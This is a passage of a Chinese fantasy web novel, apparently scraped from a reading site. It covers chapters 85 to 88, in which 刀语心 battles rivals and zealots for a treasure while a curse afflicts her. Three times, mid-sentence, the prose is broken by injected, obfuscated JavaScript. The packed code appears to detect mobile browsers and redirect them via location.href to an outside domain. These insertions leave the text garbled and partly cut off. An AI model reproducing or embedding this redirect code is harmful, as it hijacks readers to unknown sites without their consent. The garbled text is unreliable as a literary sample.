遗忘之乡的风雪从未停歇,顺着指引前行视野之中却再无前路,走上前去才发现这里是一处峭壁,站在崖边刀语心俯视着一个巨大的凹陷区域。 无数藤蔓在下陷地形中生长,占据目之所及的一切,而宝物就在被它们包裹的正中央。 “好多异植啊。”雪姬在崖边探头看去,莉莉安也在她身旁。 冷冽寒风不经意间将莉莉安的斗篷掀起,这也使得她被异植察觉,在几人没注意的角落细小藤蔓攀岩而上,顺着捕获到的气息缠住脚腕就 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沈老话里有话,但刀语心明白他大概是指可以用异化之力去攻克藤蔓。 可比起会顺着可燃物蔓延的火,异化之力的延展需要她本身已有的力量去支持,此刻的她还没办法做到吞噬所有,那就得规划出一条最佳线路。 “刀语心姐姐你想什么时候去?”莉莉安询问。 “今晚,你们安心休息,我一个人快去快回。”虽然不知道异植是否会夜伏昼出,但夜晚本就是异化之力最好的掩护。 饭后几人在营地周围休息,沈辞在沈老身旁闭目解读先前的预兆图景,刀语心则在莉莉安和雪姬身边。 “刚才在悬崖边真是吓死我了,还好有你们在。”莉莉安回想起还是止不住胆战心惊。 “幸好姐姐反应快,我一个人力气太小了。”雪姬明白要是没有刀语心,她一定会和莉莉安一起被藤蔓拖下悬崖。 听到她们二人交谈刀语心抬手安抚性拍拍肩:“你们都平安无事就好。” “刀语心姐姐今晚我帮不上你,谢医师也不在,你一定要小心行事,也不知道这里还会不会有其他人……”莉莉安有些忧心。 “我会的,你们好好休息吧。不知道我能不能按时回来,若有万一我不在的时候你们注意安全。” “好。”她们异口同声地应下。 另一边的沈辞不断钻研那预兆图景中的信息,他隐隐约约觉得自己之前的有些解读不对,就比如亲临其境后他发现图中的枯树其实不是树是藤蔓。 重新扫过后,他注意到一个人影在做祈祷手势,有另一个相同大小的人却在流泪。 无论他任由图景在脑海中复现多少遍,他都不知晓其中含义。 睁开眼后沈辞眉头紧锁看向沈老,是沈老在一开始看重他的天赋将他引导走向预言家这一路途,他开口想要询问却先一步得到答案。 “在命运降临之前,无人知晓它真正的模样。” 被无数问题困惑的沈辞低声喃喃:“那我们身为预言家的意义又在何处?”沈辞不明白,沈老也没有给他解答,他想,或许这个问题老师也没有得到答案。 在其他人都歇下后不久,确认好营地的隐蔽性和安全后,刀语心转身离开。 夜色已深,黑潮将起。 她走到崖边稍作停留,最终她毫不犹豫地向前一步,握着剑径直朝悬崖下坠去。 85. 第 85 章 异化之力更快抵达地面,为刀语心铺开落点。 她的身影自黑水中显露那一刻,无休止的吞噬就开始在周围藤蔓上蔓延,被异化之力腐蚀吞噬的藤蔓以极快的速度消失,她只需要前行,顺便将那些朝她袭来的枯枝砍断。 斗篷还在遮蔽她的气息,异植没有视线是通过感知来察觉敌人。 从空间戒指中拿出炸弹设置时限,刀语心就毫不心疼地朝空中掷去,爆炸声不绝于耳,与之一同而来的火焰对异植来说也相当棘手。 不远处一株粗壮的藤蔓朝她袭来,她一跃而起将空中乱舞的枝丫砍去,随后轻巧落地继续前行。 只是这异植的速度怎么有些慢了?甚至不如最初预见时那样,是她恰好碰上了虚弱期,还是另有原因? 没等刀语心找到答案,不知不觉间她已经深入到核心地带,鉴于无法觉察的敌人藤蔓也有自己的最终防线,细密的荆棘在地面覆盖,以便于最精密的感知和发动攻击。 这也说明,她距离宝物只剩最后一段距离。 她毫不犹豫地碾碎那些荆棘,提剑朝那些迎面而来的攻击斩去。 异化之力也在这期间蔓延到最中央的石台,在无数藤蔓朝刀语心落下的瞬息,她身影在刹那间消散。 再次抬眼,她就看到在最中心闪烁着光芒的宝物。 本就打算速战速决的她准备拿了东西就跑路,只可惜,事情的发展并不如她预想中那样顺利。 锐利的箭打断她伸手的动作,用于束缚的网自头顶落下,刀语心挥剑斩断的同时,用异化之力转移得更远。 这里早有埋伏,她再次落入圈套。 周围火光亮起,十数个人影出现在她视野之中,熟悉的长枪也于此刻直指她的咽喉。 与此同时一人怒气冲冲地朝她走来质问:“刀语心,她被你藏在了哪里!” 将视线从近在咫尺的利刃转向失去表情控制的墨弘深,刀语心只觉得比起从前他此刻顺眼了不少,对于那份质询她无所畏惧地勾起嘴角:“想知道的话,就拿宝物来换吧。” “把我的姐姐还给我们,或许你还有一线生机。”比起陷入盛怒的墨弘深,引路人在一旁冷冰冰地说道。 “还想要宝物?你想得美。你要是不告诉我她在哪,那就只好让那个医师去死了。” 只见墨弘深挥手,两个守卫挟持着谢止沉走来,对上刀语心视线的谢止沉露出一个表示歉意的笑。 看见谢止沉出现在这里的一瞬,刀语心反而诡异地安心下来。 “你用他威胁我?”她语气不明地反问。 同时她也在心底质问自己,如果真的将宝物和谢止沉放在天平之上,她会朝那边倾斜?重新对上那暗红视线的一瞬,答案已经揭晓。 “你难道舍得让他死掉?”墨弘深慢步到谢止沉身边,用匕首在他脖颈处印出一道血痕。 看到这一幕的刀语心有所动作,只是被利刃逼退。 “你最好快些如实告知,不然在丢掉性命之前,他还会承受更多痛苦。”引路人手上有注射器,除了她自己之外谁也不知道里面包含多少种成分的毒药。 “我承认,我被威胁到了。”说着刀语心作势投降,“既然你们想要找她,那就去吧。” 话落的刹那间,巨大的冰晶被腾空抛起,在点点火光的映照下折射无数光芒散落四周,也成功将所有人的视线吸引,让刀语心抓住反击的机会。 那些指向她的武器转瞬化作银白铁水流淌熔化,她也借助异化之力几个呼吸间就来到谢止沉身旁。 “姐姐!”注视着冰晶的引路人发出惊呼。 幸好有藤蔓作为缓冲,他们最不愿看到的四分五裂场景才并没有出现。 “我要杀了你!”看到这一幕后墨弘深暴跳如雷,“所有人听令,不惜一切代价杀了刀语心!”在他下令的一瞬所有守卫身上闪过一道光芒,这说明他们都获得强化。 挥剑解决其中一个守卫后,刀语心转头发现谢止沉已经挣脱束缚解决了另外一个。 “我从场离开后就发现自己被他们绑了,想着你会来就一直在这里等你。”谢止沉给刀语心解释道。 听到这话她明白他大概是被场的影响困住了一段时间,只是现在不是适合多问的时机。 “你人没事就好,我们拿了宝物就离开。” “好。” 熟练掌握空间权能的谢止沉使用流光移动起来比刀语心的异化之力更便利一些,绕开拦路的守卫后,刀语心就直冲宝物而去。 泛着淡蓝色光芒的宝物在异植梗系中央,被一重重植物硬壳包裹起来。 在她伸手就要拿到的瞬间,却突然合拢。 随之而来的是大地猛烈颤动,很多人都因为承受不住而跌落,刀语心则是在失去平衡后被谢止沉稳稳搀扶住。 她挥剑砍去,却纹丝不动。 “他们之前用药剂麻痹异植,现在它重新苏醒,还开启了狂暴状态。”他轻声为她解释现状。 这里是异植本体又是核心所在,即便刀语心想要使用异化之力吞噬侵蚀也需要一段时间,很显然墨弘深并不准备给她这个机会,在找准她的方位后就有无数攻击朝她袭来。 “该死的。”又一次躲开暗处射来的箭矢同时斩断法术轨迹后,她反握剑柄狠狠插入异植根部。 异化之力通过剑身在异植核心处啃噬侵蚀,生命力正在急速流失的异植开始更猛烈的反抗,深埋在地底的根茎破土而出无差别攻击人类。 惨叫声连绵不绝,许多人见状萌生退意,但下一刻墨弘深的声音如雷贯耳。 “临阵脱逃者,死。”守卫们身躯猛然一震,被操控着违抗本能中的畏惧,如提线木偶般机械地拿起武器发起进攻。 这些被墨弘深掌控的守卫,在很早之前就被埋下了不可违抗的心理暗示。 “我解决异植的分支,你专心对付他就好。”谢止沉的声音从身旁传来,赤红流光在将那些胡乱飞舞的藤蔓绞碎。 “好。”刀语心目光锁定墨弘深所在方向。 他们在原地防守一会,等到异化之力渗入得差不多后,刀语心拔出剑,身影消失在原地。 在她挥出剑后,一直在暗中放冷箭的弓箭手迎来死亡。 精神连接的断裂也让墨弘深知晓刀语心所在方位,知道她即将开始反攻。他迅速扫视战场,冷声下令:“三人一组,三角阵型!” 守卫们组成阵型身上再次获得加持,迅速组成阵型挥舞长枪迎接敌人来临。 只可惜还没等到刀语心,异植就先一步 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16196640|166192||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 朝他们袭来,陷入狂暴状态的异植攻击力比之前更甚,在他们移动避开的同时,不知不觉间蔓延到他们脚下的异化之力变成手腕状死死抓住他们的脚踝。 “这是什么东西?” “小心!” 在分神的一刹异植攻击从天而降,只是如同一次性攻击般再没能收回。 是引路人将手中的药剂准确无误的投掷在异植之上,药剂瓶破碎喷溅在异植表面,如同麻药一般让它瞬间失去行动力。 自墨弘深一行身后的阴影中出现,刀语心直直朝墨弘深挥剑砍去。 “锵——”利刃交锋发出刺耳噪声,视线中出现两支长枪,她的攻击被守卫们交叉拦下。 “你以为我看不出来这么明显的缺陷吗?”料到刀语心有可能会从背后袭击,墨弘深早先就特地在身后布下防线。 眼看近不了身,刀语心就直接抛出炸弹拉开距离,守卫也展开护盾抵挡。 移开护盾后他们发现,原先还在这里的刀语心已经不见踪影。 自阴影中潜伏的刀语心在思考对策,万军取首看来是不行,一对多她没有太大胜算,再者她的目的只是得到宝物,那么并不需要将墨弘深一方完全杀死,只需要他们无力和她争抢就可以。 没有可供他驱使的棋子,墨弘深自然也就什么都不是。 意识到这一点后,刀语心不再执着于直接杀死墨弘深,而是将那些重重包围起的守卫逐个击破。 “注意脚下!”扫过一地残骸后,守在冰晶一旁的引路人推算出刀语心的移动方式,话音刚落她就用毒液将一些无人看守的道路封死。 这也让刀语心改变目标,她得先解决引路人。身为药剂师,对方的难缠程度和墨弘深不相上下。 再次从异化之力中离开,刀语心的剑锋直指引路人的心脏。 “噗嗤。”是利刃没入血肉的身影,只可惜引路人下意识侧身躲过了要害。 对上那双颤抖的瞳孔刀语心没有任何犹豫抽剑离开,她深谙对敌人的仁慈就是对自己的残忍。 的确,他们之间并没有什么深仇大恨,可遗忘之乡本就是一张巨大的赌桌。奖品只有宝物一个,他们都有不得不拿到宝物的理由,注定无法达成双赢局面。 “小路!”墨弘深指挥守卫在她和冰晶周围形成防守之势。 “……我没事。”说完引路人呕出一口鲜血,“你一定要拿到宝物,救回姐姐……” “我一定会的。”墨弘深目光晦暗,他早已下定决心,这是他们多年的努力他绝不会让其付之一炬。 趁此机会刀语心回到异植主干,异化之力已经侵蚀大半,外部也不再坚硬而是一碰就碎,她挥剑撬开外壳伸手将淡蓝色宝物拿到手中。 异植拥有一部分属于种子的力量,异化之力正将其吞噬殆尽,得到补充的同时她意识到问题所在。 “异植的根部遍布地下,随时随地有可能引发坍塌,我们马上离开。” 还没等到谢止沉回应,紧接着变故突生。 “咻——”耳边传来一声尖啸,刀语心提剑抵挡攻击,却连同武器被长鞭拽了过去。 下一刻她落入一个带着些许馨香的怀抱之中,腰被长鞭紧紧缠住。 “锻造师,你要和我共舞一曲吗?” 86. 第 86 章 身穿圣洁服饰的修女就近在咫尺,刀语心明白她也是自己的敌人。 毫不留情地提剑朝对方挥去,修女脸上笑容不变后仰躲闪,而缠绕在刀语心腰上的皮鞭并没有任何松开的迹象。 见此情形谢止沉抿起嘴角,一抹赤红闪过后流光就将刀语心转移回他身边。 “哎呀,怎么跑了呢。”修女目光不善地盯住离开的刀语心。 “一直用空间手段跑来跑去的,可不是什么乖孩子呢。”她笑着拍手,“孤狼,展开领域。” 自她身后的漆黑阴影中浮出一个高大的黑色阴影,猝不及防间一阵嚎叫响起,无数精密法术符文朝四周飞速扩散,将整个凹陷区域笼罩。 同一时刻刀语心明显感受到异化之力受到影响,无法按照她的心意将她转移,飘在空中的流光也回到谢止沉手中。 “这可是神明大人特地赐下的法术呢,用来对付你们再好不过。”提到神明后修女面上笑容加深。 从她那双血红与黑色斜十字叠加起的眼眸中,刀语心洞察出一种异于常人的狂热崇拜,这就是狂信徒的同一特质。 以杀戮为生,以血为祭,在狂信徒眼中他们所做的一切都是对神明最为虔诚的献礼。 “……劣等品。”耳边传来谢止沉的低语。 他眼帘低垂面色不善,从前偶然间制作出的造物对他造成限制也就算了,现在还影响到刀语心对她造成困扰,这是他最无法容忍的一点。 命运还真是喜欢这种令人憎恶的巧合,他前所未有地憎恨自己的无力。 如果不用压制力量,是不是就能帮上她呢?至少现在他可以帮她把这些烦人的虫豸全部清除。 但随心所欲使用力量的代价是就此离开刀语心的身旁,谢止沉明白他不能将自己身上背负的追杀变为刀语心的又一累赘。 陷入两难抉择间他被微凉的触感唤醒,抬眼看去,他看见她面上露出浅笑,所说的话语也随着夜风传到自己耳中: “不用担心,交给我吧。” 她察觉得到他的困顿和不甘。 说完,刀语心拿剑转身向前走去再没回头,无数异化之力宛如涨潮的海水般从她脚下的阴影中涌出。 随后她冷冽的声音精准无误地传达到每个人耳中: “我会解决拦路的障碍,一个不留。” 说来也是她陷入了过往思维误区,往日没有经历过如此棘手的场面,她还是按照以往经验认为只挥剑就可以解决所有。 可她本职终究不是战士,也不怎么精通法术,只靠简单挥砍无法赢下每一场战斗。 好在异化之力可供她随心所欲地驱使。 刀语心很清楚,种子这一身份是她降临世间也是经历这种种遭遇的缘由,但也正因为她是种子,她才能使用这份力量来改变她所厌恶的一切。 “不如我们合作吧。”感受着四周翻涌的力量修女直觉不妙,她转向在冰晶旁聚集的人群。 “我们要她的人,你们要她手上的宝物,这并不冲突。” “没问题。”墨弘深欣然应下。 刀语心抬眼扫过站在自己对立面的所有人,眼看修女和墨弘深在自己面前达成联手协议,他们一个要她手里的宝物,一个目标是她本身,准备将她分食殆尽 她只是默默感受着异化之力的流动,她的力量正逐步吞噬深埋地下的异植根茎并取而代之。 只是在完全渗透之前,身为敌人的他们并不会给她过多喘息时间。 长鞭划破空气朝她直冲而来,刀语心移步躲避,迎面却又有法术攻击袭来,她侧过身,那法术勘勘擦着她脆弱的脖颈掠过。 修女和孤狼联手扰乱刀语心的动作,身为临时共犯的墨弘深在整备仅剩的护卫。 在先前的打斗中,墨弘深判断出刀语心能将金属质武器熔化,于是他让护卫从异植上就地取材用植株的枝干作为武器,以及用许多带毒的药剂朝刀语心抛去。 确认精神链接无误后,墨弘深打算再次用自己的身为指挥官的技能强化护卫。 “所有人,听我号——” 没等他说完,一道极其强劲霸道的能力就直冲他而去,硬生生打断他的技能施展。 待到他回过神来,抬眼就见到刀语心嘴角勾起的冷笑,他也在这一瞬间捕捉到她身旁出现一个先前从未见过的悬浮奇异道具。 知道这是刀语心的手段,墨弘深不打算就那么简单屈服,紧接着他调整状态想要再一次尝试号令,很快比先前更加痛苦的干扰即刻降临在他的躯体上。 即便她在和修女孤狼缠斗,也依然时时刻刻注意着他的举动。 “你怎么了?”突然跪地的墨弘深让引路人不解,她只好拖着受伤的躯体给他灌治疗药剂。 “……她身边那个黑白棱体道具有些古怪。” 与此同时,修女也注视着刀语心不顾一切提剑朝自己冲来。 长鞭和法术攻击交织成一张致命的网,偏偏刀语心灵巧地能从空隙中穿越,可再怎么敏捷在铺天盖地的攻击下她依然会受伤。 如蛇尾一般的长鞭扫过刀语心的躯体,足以看见血痕。 鞭尾一击虽说算不上致命但也足以让人感受到疼痛,而她就像没有感觉一般,面无表情地朝着自己冲来。 修女无比清晰地认识到,刀语心的目标是杀死自己,哪怕受伤也在所不惜。 “你还真是……有趣至极。”修女嘴角咧开,手腕一抖将长鞭收起,在下一刻有本源之力加持的攻击技能朝刀语心尖啸而去。 长鞭的攻击分出一道虚影,同等可怖的攻击加倍朝刀语心袭去。 这一道攻击她无论如何都不可能躲开。 而刀语心也从未打算躲避。 本该落在她身上的攻击被一道不可见不可感受却真实存在的力量挡下偏移,在修女不解的同时,短短一个瞬间刀语心就跨过障碍来到修女面前。 从地面渗透的异化之力早在不知不觉间将修女死死束缚在原地,她这才明白躲不开的人是她自己。 “你身上,也有种子啊。” 在刀语心淡淡出声的同时,她手上的灭灵剑裹着蕴含异化之力的漆黑虚影,狠厉不留一丝余地地朝修女迎面挥去。 刀光剑影间,孤狼凭借强硬肉身生生扛下这一击,他付出的代价是一条手臂被完全侵蚀。 修女没有丝毫慌乱,比她笑容更加 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16208348|166192||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 疯狂的长鞭朝刀语心挥去,鞭子甩出的凌厉破空声从她耳边穿过。 “想要的话,那就来试试好了。” 短距离之内长鞭的优势不复存在,刀语心轻松躲开她的攻击绕到二人背后,对准他们就挥剑砍出一击。 用鞭柄抵挡利刃,剑锋近在咫尺修女眼神中没有任何恐惧,在交锋片刻抵消攻击后,她突然间死死抓住刀语心的手。 低沉的声音在空间中吟诵着一种刀语心未曾听闻的语言,在此期间他们三人脚下一个复杂的法阵正在徐徐展开,法术轨迹正在勾勒长距离传送阵。 先前的空间限制只用来针对刀语心和谢止沉,对施术者本人并无影响。 察觉不妙的刀语心用剑柄朝着修女的手臂撞去,只是对方的忍耐能力也不容小觑,抓紧她的手没有丝毫松开的迹象。 情急之下刀语心挥剑朝孤狼脊椎处砍去,神经脉络传来的疼痛不可避免地让他的吟诵停顿。 刹那间,一阵法术余波袭来顷刻将地表的法阵化作碎片,孤狼嘴角溢出血液,他遭到了法术反噬,有更高阶的法术降临于此将他的法阵击碎。 法术震颤的原点是谢止沉,他花费这么多时间是为了构建一个不存在法术的领域。 那极近暗沉的赤色眼眸死死盯着修女和孤狼,无数法术攻击朝着他们袭去。 谁都不能让他和刀语心再次分离。 趁此机会刀语心挥剑给予二人重击后和他们拉开距离,修女这番诡异的举动也让刀语心意识到不对,从前她所遇见的狂信徒都是抱着杀死她的打算,而修女却想带走她。 可是为什么? “别总想逃走啊,就算你现在不和我们回去,你又能逃到哪里去呢?”修女站直身体有些神色恹恹地说道。 “这么多年,神明大人终于有了一个心仪的猎物,无论如何你都逃脱不掉我们的追捕。只要神令还在你身上,我们就会一次又一次找到你。” 即便是她死了,也会有无数同为狂信徒的同胞朝刀语心而来。 说着她修长的指尖轻轻抚过皮鞭上的磨损,有些心疼地说道:“这可是神明大人赐给我的礼物呢。” “孤狼,我们速战速决吧。” “嗯。” 话落,他们二人的气息悄然开始变化,本就血红的双眸在此刻更是变得鲜血欲滴,修女的指尖变得更加尖长,孤狼体内的经络也随着脉搏跳动透过血肉闪烁红光。 知道他们在调动本源之力强化自身,谢止沉先一步发动法术攻击朝着他们袭去,但被狼人全数阻挡。 刀语心也握紧剑柄想前去打断这一进程,她先控制异化之力从地下给他们造成干扰。 可就在她即将发动攻击的瞬间,一股紧攥灵魂的疼痛在她体内炸开。 本该用于攻击的剑锋垂落直直插向地面,她不受控制地半跪在地上承受着这份熟悉但更加猛烈汹涌的疼痛,汗如雨下,她的左手紧紧摁住心脏似是想要制止什么。 位于心脏上的三重荆棘之环,此刻有两环尖刺嵌入脆弱的内在。 不详的幽紫色再度浮现在她的皮肤之上,咒印散发的光芒更加神秘深邃。 第二重诅咒发作了。 87. 第 87 章 刀语心死死握着剑柄,她想要撑起身体行动,她不能就在这里停下。 可过度勉强自己换来的只有肺腑中溢出的鲜血。 在察觉到诅咒发作的下一秒谢止沉就眉头紧皱,他在刀语心的身旁却什么都帮不上她,他甚至不敢去搀扶担心这会带来更大的苦痛。 不应该是这样的…… 他小心翼翼地用手掌触碰上刀语心的臂膀,最纯粹的力量自他掌心中再度浮现。 眼看谢止沉升起了屏障抵御攻击,其他人也从先前的举动中意识到刀语心的状态不好,墨弘深知道这是一个绝佳的机会,他当即就要下令强化护卫。 寂静夜色中响起歌声将他打断。 该死的,墨弘深只觉得自己这辈子没这么憋屈过,接二连三遇到克星。 “神明在上,这简直就是我主赐福的大好时机。” 说着修女和孤狼一同冲进屏障,他们的目标自始至终都很明确,那就是带走刀语心,让她成为神降日神明最满意的祭品。 而后他们看见一根赤红的线将屏障中的二人相连。 面对更加高阶的力量下意识会心生畏惧,但狂信徒对神明的万分虔诚消除了这一点,他们朝着刀语心直冲而去。 而在刀语心身旁的那人却丝毫不避,他们看见那双暗红眼眸中全是毫不掩饰的杀意。 一道红光洞穿孤狼的肩颈,谢止沉抬手生生接下攻击,反手拽住修女的鞭子让她无论如何都无法收回。 “去死。” 异化之力感受到主人的痛苦和烦躁,不受控制地从地底冒出胡乱发泄着怒火。 此刻的刀语心陷入清醒与混乱的夹杂状态,她听见风传来远处莉莉安的歌声,也听得见耳边的打斗声,她竭尽全力想掌控身体的主动权,但无论如何都被极具的痛意死死压制。 直到某一刻禁锢传来松动,她恍若溺水之人浮出水面重获新生。 她清楚地感受到痛苦正从她身上削弱,可与诅咒相伴多年的她深知诅咒不会如此轻易放过自己。 除非是有人帮她承担了代价。 疼痛退却后重新获得身体控制权的她视线重新聚焦,看到一道无比纯粹的赤红流光连接着自己,而另一端则是在谢止沉身上。 幽紫色顺着脆弱的桥梁转移,他身上浮现出和她一样的不祥咒印。 修女和孤狼没从谢止沉手里讨到好处,但谢止沉的状态也远远算不上好。 疼痛同样使得他脸色惨白摇摇欲坠,刀语心控制异化之力分割战场后就上前扶住谢止沉,在刀语心身上的痛苦逐渐减弱,与之相等的份额就在谢止沉身上逐渐加强。 看着那双深黑眼眸中出现无数复杂的情绪,谢止沉知道自己这一举动让刀语心不那么开心。 他努力对着刀语心勾起一丝微笑,忍着痛苦开口:“是我自作主张了,抱歉……” 听到这话,她抬手抚过他的侧脸,心底无数情绪涌出。 “不用道歉。”她轻声说。 生生将那些情感按下,刀语心知道现在需要解决的是其他问题。 “在这里等我。”她将谢止沉扶到一个稳固的地方,再用异化之力将他围起,确认安全后刀语心转身重新投向战场。 诅咒发作的代价被转移到谢止沉身上,刀语心神经中依然留有余痛但动摇不了她分毫。 她迈出一步,所有叫嚣的异化之力在一瞬之间停止动作,隔绝的屏障也同时消失。月光孤寂,冷风吹过在场每一个人,他们不约而同都于此刻感受到一种诡异至极的寂静。 无来由的恐惧让他们看向面无表情的少女。 只见下一刻,刀语心抬手,一道清脆的响指声在所有人耳边炸开。 顷刻间天崩地陷。 异化之力早已通过异植根茎完全渗入地下,只需稍加移动大地就会出现裂痕,巨大的黑色涡旋将地面撕裂,向内凹陷的倾斜再加上一种想要将一切吞入的引力,宛如地狱之门在向他们展开。 更可怕的是那些比异植还要灵活多变的黑色细线,在空中飞舞蔓延,缠绕在每一个人的躯体之上,把他们拽入深渊。 他们这才迟迟发现,比异植更可怕的是那些被刀语心完全掌控的力量。 异植还能找到弱点,可面对这些力量他们完全束手无策。 能自主行动的墨弘深尚且能够控制护卫和自己抽身离开,可他回头看去心中却是无尽悲凉,他走了,那引路人和冰晶又该如何? “你先自保,若还有机会,再来找姐姐。”看着缠绕自己的黑线引路人淡然开口。 “那你呢?” 她没有回答。 引路人自知想要从刀语心手上拿到宝物乃是难上加难,如今重伤耗尽所有药剂的她更是拖累,她抱着最后一丝希冀趴在冰晶之上,看着冰封的人影无言想到: 如果她下地狱的话,会见到姐姐吗? 泪水顺流而下滴落在冰晶之上,很快滑落裂痕中央的冰晶开始向外延伸,将引路人也一同冰封其中。 冰晶延缓住裂隙的扩张堵上通往地狱之门,这一幕冰封蔓延的景象却让墨弘深心中却燃起希望的火光,他咬牙带着护卫朝着另一方向奔去。 这场赌局他还没有满盘皆输,只要杀死刀语心他就还有机会。 还没等他移动多少距离就又受到攻击,但这攻击并不致命,他仰头朝歌声来源看去,话语随着风声飘荡到他耳边。 “不要过去!”莉莉安在悬崖之上喊道,“再过去的话,你们都会死的!” 凄冷月光的映射下,身处最外围的她们将一切尽收眼底,大地撕裂藤蔓燃烧,更有无数诡异黑线从裂缝中不断冒出。 光是看着她都能感受到那力量的恐怖。 在莉莉安看来没什么比活着更重要了,她知道自己阻止不了刀语心,但她想后续自己可以阻止扑火的飞蛾。 听到莉莉安的话,墨弘深站在原地愣了一会后,随后从喉咙中发出一声低笑。 那笑声不是嘲笑更不是讥讽,而是一种怜悯。只此一瞬他就明白,莉莉安追求的目标太宏大了,足以压垮她的身躯。 “小姑娘,她们就是我活着全部的意义。”墨弘深看向不远处的冰晶,高声回应着莉莉安。 他所珍视的家人都在这里,他又要去哪里呢? “若就这么临阵脱逃,才是让我生不如死。”说完,他不再停留,带着护卫前往刀语心所在的地方,义无反顾再没回头。 在崖壁上的莉莉安听到这话后,只是怔怔地看着墨弘深离去,期间没有再对他施加阻碍。 她情绪翻涌,有一种感觉浮上心头,所有的一切在朝她完全不希望的方向上狂奔。 她希望每一个人都能得到美好的结局,她不希望有任何一个人毫无意义地死去,可她也明白这根本就是她的臆想,是根本无法达成的局面。 陷入自我矛盾之中的莉莉安没有注意到身旁之人不同寻常的举动。 夜风吹起洁白无瑕的发丝,雪姬看着战场中心的争斗满是心惊,她双手已经下意识交叉合拢抵在胸口,这是神明信徒才会做的祈祷手势。 神明在上,她祈求刀语心平安无事。 可此刻正在和刀语心战斗的就是她的同伴,也是她亲自将修女和孤狼引到刀语心身边。 思及至此,雪姬也前所未有地陷入迷惘。 她既希望刀语心平安无事,又希望能够完成任务将拥有神令的刀语心带回神域获得神明赞扬,可这二者本就是矛盾的。 她明白和身为狂信徒的他们不同,刀语心有自己的目标,有自己的道路,更会永不停歇地反抗。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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宝物之所以是宝物,就是因为其独一无二不可共享,若世界上所有东西都能平等与共,那就不会有这么多的苦难。 敌人有些太多了,这么想着,刀语心就猛地朝修女掠去。 长时间的战斗和负伤已经让修女身心俱疲,在意识到危机来临的那一刻已经来不及抵挡,可意料之中的疼痛没有降临,温热的血液洒落她的手心。 孤狼挡在她的身前,倒在她的怀里。 “为了你自己,活下去……”最后的遗言说完,孤狼彻底闭上眼失去生息。 修女那双盛满疯狂的眼中此刻只余空洞,她迟迟明白刀语心从一开始的目的就是夺走孤狼的种子。 毫不留情地抽出剑将孤狼身上的本源之力吸收转化,刀语心转身对付来到她身后的护卫。 在先前的战斗中刀语心就已经明白孤狼并不希望修女死去,所以一直在保护对方,刀语心从第一次手染鲜血后就明白自己不是什么善人,察觉到敌人的弱点她就会加倍利用。 在来的路上墨弘深就已经强化过所有护卫,只可惜在黑潮之上单打独斗的话,没有人会是刀语心的对手。 过度使用技能身体负担不住代价的他咳出一口血,他明白自己所做的一切都是垂死挣扎,只是,他无愧于心,他看着刀语心甩掉剑上附着的血水,面无表情地朝他走来。 墨弘深看向远处透明澄澈的冰晶,他只可惜,自己此刻不在家人身旁。 在属于他的终局到来前,又有人踏上战场。 “刀语心姐姐……”一片死寂中莉莉安的声音突然响起,她的声线很明显正在颤抖。 “你是种子,对吗?” 88. 第 88 章 带着答案的问题,刀语心知道自己无需回答。 “你也想杀死我?”透着无尽冷意的语调没有丝毫波动,她垂下眼帘,没有人能捕捉到她眼神片刻微怔。 注视着刀语心背对自己的身影莉莉安清晰地感受到自己胸腔内的心脏正在急速跳动,她喃喃低语:“不……不是的。” 比起告诉对方似乎更多的是告诉自己,她不是为了杀死谁才来到这个世界上的,她无比清楚这一点。 可种子是不一样的。 “种子带来灾厄和浩劫,是改变这个世界的罪魁祸首。”她的话语与记忆中的声音交叠。 “种子拥有超乎世俗体系的力量,由于职业法术太过驳杂这一点我们难以分辨,用来辨认种子的关键节点是看他们之间是否会彼此吞噬。”主教是这样告诉她的。 莉莉安见到刀语心从孤狼身体中夺走了种子。 曾经莉莉安也不明白为什么主教要对种子赶尽杀绝,绝大部分的种子拥有者从外表上看都是和她一样的人类,他们拥有记忆拥有情感,也同样拥有梦想拥有希望。 看着还抱有天真希望的莉莉安,主教轻声开口:“引发天灾的,也是种子。” 听到这话的莉莉安的瞳孔一瞬间放大。 见自己的言语奏效,主教勾起一抹不易察觉的笑容接着补充:“种子对天灾有一种尚未研究明确的致命吸引力,那场毁掉你所珍视一切的天灾源头,就是一枚种子。” 话落,主教将年幼的少女拥入怀中,如圣人一般的温柔言语在她耳边响起:“为了拯救更多的人,你必须杀掉种子。” “莉莉安,你一定能做到的,对吧?” 在无人看见的地方,主教脸上的神情与欺骗人类缔结契约的恶魔别无二致。 长久的沉默后,少女的回答奏响。 “我能。” 短暂的回忆在一片死寂中退却,看着熟悉的身影莉莉安却失去了回答主教时的坚定,从这段时间相处下来,她很清楚刀语心绝不是什么罪大恶极的坏人。 在莉莉安眼中,刀语心独立而强大,拥有力量不会恃强凌弱滥杀无辜,是个嘴硬心软的善良之人。 她背负着自己的命运,走在艰难险阻的道路上。 可为什么偏偏她也是种子? 视线缓慢移动,莉莉安在一点点捕捉战场残垣:呼吸微弱的护卫,失去生命的孤狼,被冰封的姐妹二人,承受痛苦的谢止沉,遭受重创疲惫无力的修女和墨弘深。 还有站在中央,同样身负重伤但还在行动的刀语心。 